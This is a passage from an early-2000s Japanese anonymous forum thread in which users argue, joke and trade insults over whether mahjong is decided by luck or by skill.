その麻雀を運だけとゆーのは悲しい…。
たしかに時の運かもしれないが、自分
の意思が加わって楽しむものだと思い
ますよ。

797 :焼き鳥名無しさん:02/07/23 20:20
麻雀は運のみ

798 :焼き鳥名無しさん:02/07/23 20:24
>>797
と思ってるうちは、上手くならんよ。

799 :焼き鳥名無しさん:02/07/23 20:58
>>794の解釈が正しいとすると、
雀鬼流的用語だと
上手いと強いは相反する概念みたいだな。

あと>>795は本当に>>1か?

800 :焼き鳥名無しさん:02/07/23 20:59
>796
それが出来りゃいいんだけどね・・・残念ながらいくら勝ちたいと思っても
手も足も出ない時ってのはある。逆にテキトーにうって勝てる時もある。

801 :焼き鳥名無しさん:02/07/23 21:43
>>1は現在センズリ中

802 :焼き鳥名無しさん:02/07/23 22:16

麻雀が実力か運かでこんな真剣に話するなんて
やっぱり麻雀やってるやつらは 

   バ   カ    

だよなー(笑)

803 :焼き鳥名無しさん:02/07/23 22:26
>>802
Mona Comes to You
Speaking Words of Wisdom
(´∀`)< "オマエモナー"

804 :焼き鳥名無しさん:02/07/24 00:23
>>802
麻雀やったことないのかな?
それとも自分もバカだって気付かないのかな?
どちらにしろこのスレにはむいてませんね。
他の板をお探しください。

805 :焼き鳥名無しさん:02/07/24 01:49
オレは正直ある程度の麻雀慣れした人間同士なら運の要素が殆どだと思う。
ただ、このスレの

ど素人だろうがなんだろうが先にリーチして先にツモりゃ
自称「巧い」人たちはなにもできないよね。

これはヒドイ!!こんな理屈小学生でも言わないよ。理屈にもなってないし。
これギャグだよね?
1は本当は麻雀知ってて、「こういう事言う初心者に何て説明するか」
シュミレートしてるだけだよね?

806 :焼き鳥名無しさん:02/07/24 02:07
麻雀における運の部分てツモと配牌だろ?
何を切って何を鳴くかは実力。
ただ絶対に正しい手というのがないからわかりづらいだけ。
結果が出てからしか何が正しかったのかわからない。
強い人とはそれを選択するのが多い人。

807 :焼き鳥名無しさん:02/07/24 02:13
>806
良い事言った!

808 :焼き鳥名無しさん:02/07/24 02:18
>806
ごめん、めちゃくちゃ分かり易くて感動しますた!

809 :焼き鳥名無しさん:02/07/24 02:19
麻雀は気持ちで打て

810 :焼き鳥名無しさん:02/07/24 02:23
だが、雀鬼流は運を凌駕するらしいぞ

811 :焼き鳥名無し:02/07/24 02:28
雀鬼流は運をつけるためのテクニックみたいなもんだよ。
少々宗教じみてはいるけどね。

812 :焼き鳥名無しさん:02/07/24 02:32
>>810
あまり雀鬼流のことは知らないんだが…。
運を凌駕するとはどういうこと?
運をコントロールするってこと?
それとも牌流理論みたいなもん?

813 :本当のところ:02/07/24 02:35
麻雀は運だけです。

ついたら勝って、つかなかったら負ける。

そのくりかえし。


ただそれだけなので、皆様の貴重な時間をつかうのはもったいないですよ

814 :焼き鳥名無し:02/07/24 02:36
まだ言っとるんかーーーーーー!!

815 :810:02/07/24 02:44
>>812
失礼、運をもと書こうとしたら脱字してた。
運をコントロールしているに近いような事を言ってると思う。
有名な天運、地運

816 :812:02/07/24 02:53
>>815
ようするに運を手に入れるのも実力ってことか。

817 :焼き鳥名無しさん:02/07/25 19:55
>>806
確かに鳴くのも切るのも自由なんだけど、
鳴くとどうなるか・切るとどうなるかが判るヒントがマージャンにはほとんど無いから、運次第なんじゃないの?
ポーカーでホールドするか、麻雀で鳴くかは同じようなもの
どれを切れば良いかは切ってからしかわからない
どれを切ったほうが良いかのヒントは本当に少ないし、他の奴が速くツモれば終わりだし、テンパイできるツモが来ないと鳴いても何してもテンパイできないし
>>130みたいなことしてる人いるけどいったいそれから何が判るというのだろう

818 :焼き鳥名無しさん:02/07/25 20:04
>>817
ネタのためにそういう書き込みしてるんだろうが、
しつこいw

819 :焼き鳥名無しさん:02/07/25 20:15
どんなに実力がなくても運がよければ勝てるが
どんなに実力があっても運が悪ければ負ける。
よって実力よりも運のほうが大事。

820 :焼き鳥名無しさん:02/07/25 20:25
実力?
はあ…
実力あるふりした奴の勝ち!
そして素人を威嚇してへこましてる。

821 :焼き鳥名無しさん:02/07/25 20:56
運がいい時にキッチリ勝ち切るのが実力。
運が悪い時に頑張って黒棒差でラスを抜けるのも実力。

運がよかろうが悪かろうが、その時々で
でき得る最善を尽くすのが大事。

822 :焼き鳥名無しさん:02/07/25 23:18
>>817
何切る問題を連続でやったり実力の差を見たりだと思うよ

823 :焼き鳥名無しさん:02/07/25 23:55

時代は棒テン即リーです。

824 :焼き鳥名無しさん:02/07/26 20:03
まあ、俺みたいな天才的な豪運の持ち主ともなれば
リーチ後、3巡もあればツモることができるからまず負けないよ。
プロだっけ?そういう人達と1回打ってみたいなあ。げらげら

825 :焼き鳥名無しさん:02/07/26 20:08
黒 棒 っ て 何 で す か ? 初 め て 聞 く 言 葉 な ん で す が?

826 :アユの部屋公開中:02/07/26 20:09
http://pakopako.misty.ne.jp/enter.cgi?id=arifish

827 :焼き鳥名無しさん:02/07/26 20:10
>>824
リアルの東風荘いってこい

828 :焼き鳥名無しさん:02/07/26 20:10
ほとんど、運じゃない?
君ら人の事ヘボヘボいうけど
なんか変わりあんの?
麻雀プロとかあるけどさぁ運がよかった人たちの事じゃないの?
ど素人だろうがなんだろうが先にリーチして先にツモりゃ
自称「巧い」人たちはなにもできないよね。
君タチにはワロタ(・∀・)

829 :焼き鳥名無しさん:02/07/26 20:10
>>825
使いすぎた肉棒のコトです

830 :焼き鳥名無しさん:02/07/26 20:30
>>829
ネタにマジレスカコワルイ

831 :焼き鳥名無しさん:02/07/26 20:51
>>830
は?

どこがマジレスなんだ?

832 :焼き鳥名無しさん:02/07/26 21:03
>>831
それこそ>>830

833 :焼き鳥名無しさん:02/07/26 23:00
>>832
それこそ>>830

834 :焼き鳥名無しさん:02/07/27 00:53
運の流れとか言ってる人っていまだにいるみたいだね。
上がったら運を引き寄せるとか、
鳴くと流れが変わるとか。

わけの分からない運の部分を埋める考え方としては
アリだと思うけど、
「流れはあるに決まってんじゃねえか。」
とか、本当に信じてしまってる奴がイタイ。

そういう奴に限って、上がっても運がこなかったら、
「運を使い果たした。」
とか言いやがる。

835 :焼き鳥名無しさん:02/07/27 06:55
運ってなに?

836 :焼き鳥名無しさん:02/07/27 07:53
(゜゜)(。。)(゜゜)(。。)ウンウン

837 :焼き鳥名無しさん:02/07/27 09:26
>>834
暇つぶしに麻雀ホームページ巡りをしてたら、
運・流れについて書いてあるページばかりだったよ。
だから未だに流れ論者はおおいんだなあと実感した。
タイトルが「麻雀戦術論」とかになってるが、全然戦術として確立されてねーよ。

838 :焼き鳥名無しさん:02/07/27 22:14
運にも天運、地運とあるけどな

839 :焼き鳥名無しさん:02/07/27 22:53
>>830
ネタにマジレスしてんじゃねーよ
かっこわるぅ〜〜〜!!

840 ::02/07/29 21:32
君たちはほんと無益な議論が好きだねぇ
馬鹿ばっかでホントつらいw

841 :名無し:02/07/29 21:39
要は運のみ。

842 :1:02/07/29 21:41
実は俺はお前らよりずっと馬鹿なんだけどな

843 :焼き鳥名無しさん:02/07/29 21:41
そんな>>1が大好きです

844 :焼き鳥名無しさん:02/07/29 22:21
>>838
がいしゅつかと。

845 :焼き鳥名無しさん:02/07/31 18:35
ってか麻雀力のみですよ、麻雀は。
配牌やツモの良い悪いは「麻雀力」の差です。

846 :     ↑:02/07/31 18:54
新たな電波君の登場です 

847 :焼き鳥名無しさん:02/07/31 19:06
>845
お前の自摸や配牌はさぞ悪いんだろうな。同情する

848 :焼き鳥名無しさん:02/08/04 02:20
麻雀は運が10です。そしてその運を11…12…と増やした方が勝ちます。

849 :焼き鳥名無しさん:02/08/05 01:42
パチンコ雑誌とかによく載ってるトルマリンブレスとかつければ運が11になったり
するんですか?

850 :焼き鳥名無しさん:02/08/06 09:27
麻雀は実力:運が6:4ぐらいだと思う。

851 :焼き鳥名無しさん:02/08/06 15:05
>>850
もし実力が60の人が打てば運は40出る
もし実力が12の人なら運は8
よって、実力がある人の方が運も強い
ゆえに、実力が全て

852 :焼き鳥名無しさん:02/08/06 16:28
(゚Д゚)ハァ?

853 :焼き鳥名無しさん:02/08/10 11:06
つもる能力は100%運
すてる能力は100%実力

よって>>1はアフォ

結論 麻雀に実力は関係あり

>>1はすてる能力は100%実力の反論ができないので

-----------------------糸冬  了---------------------------------------------

854 :焼き鳥名無しさん:02/08/10 11:11
>>853
既出

855 :焼き鳥名無しさん:02/08/10 19:12
age

856 :◆OyJ.eULo:02/08/10 20:14
昨日、近所で麻雀やったんですよ、麻雀。
7回ハンチャンやった時点で+70くらい勝っていたので、ラス引いても+で終わる予定だったわけですよ。
そうしたら東2局自分が親でやっていたら下家がリーチをしてきたんですよ。
もうね、アホかと。馬鹿かと。
お前らな、9巡目あたりで普段かけないリーチかけんじゃねーよ、ボケが。
9巡目だよ、9巡目。おめでてーな。
よーしパパオープンリーチしちゃうぞー、とか言ってるの。もう見てらんない。
お前らな、1000点ずつやるからこの局はおとなしくしてろと。
麻雀ってのはな、もっと殺伐としてるべきなんだよ。
麻雀卓の向かいに座った奴といつ喧嘩が始まってもおかしくない、振るか振られるか、そんな雰囲気がいいんじゃねーか。女子供はすっこんでろ。
なんか親だったので当たり牌を抑えて七対子タンヤオドラドラを狙っていたら7ソウをツモってきたので捨て牌を見ると対面のヤシがリーチに微妙なタイミングで7ソウを捨てていたんです。
私は聞きました。
「その7ソウってリーチに切れてんの?」
対面
「ああ、ガン通しですよ。」って言うんですよ。
その言葉を聞いて7ソウをノータイムで切り出すと下家がロンって言ってくるんですよ。そこでまたぶち切れですよ。
しかもリーチ3色平和で満貫。
あのな、ガン通しなんてきょうび流行んねーんだよ。ボケが。
得意げな顔して何が、ガン通しで、だ。
お前は本当に通ってる牌を教えたいのかと問いたい。問い詰めたい。小1時間問い詰めたい。
お前、ガン通しって言いたいだけちゃうんかと。
麻雀で売られた喧嘩は麻雀で返すべく虎視眈々と対面のヤシを狙うことに。
麻雀通の俺から言わせてもらえば今、麻雀通での間での最新流行じゃやっぱり、
四暗刻オープンリーチ、これだね。
暗カン四暗刻オープンリーチラス南ツモ。これが通のあがり方。
四暗刻オープンリーチってのは上家もオープンリーチしてくる。そんかわり対面の親が無口になる。これ。
で、それに下家もオープンリーチで追いかける宣言。これ最強。
しかしこれを頼むと次からずっとオープンリーチしなければいけないという危険も伴う、諸刃の剣。
素人にはお勧め出来ない。
まあお前らド素人は、タンヤオでも食ってなさいってこった。

857 :◆OyJ.eULo:02/08/10 20:40
ごめん、誤爆
(´・ω・`)ショボーン

858 :焼き鳥名無しさん:02/08/10 22:16
人生の落伍者が集うスレはここですか?

859 :焼き鳥名無しさん:02/08/11 02:56
別にこのスレに限った話ではありません

860 :焼き鳥名無しさん:02/08/11 04:22
>>849
周りでトルマリンとか持ってるヤシいない?

861 :焼き鳥名無しさん:02/08/11 15:28
>860
いませんよ。金風呂3pとかやってるヤシもいませんし、部分軌道爆撃系人工精霊も
持ってません。

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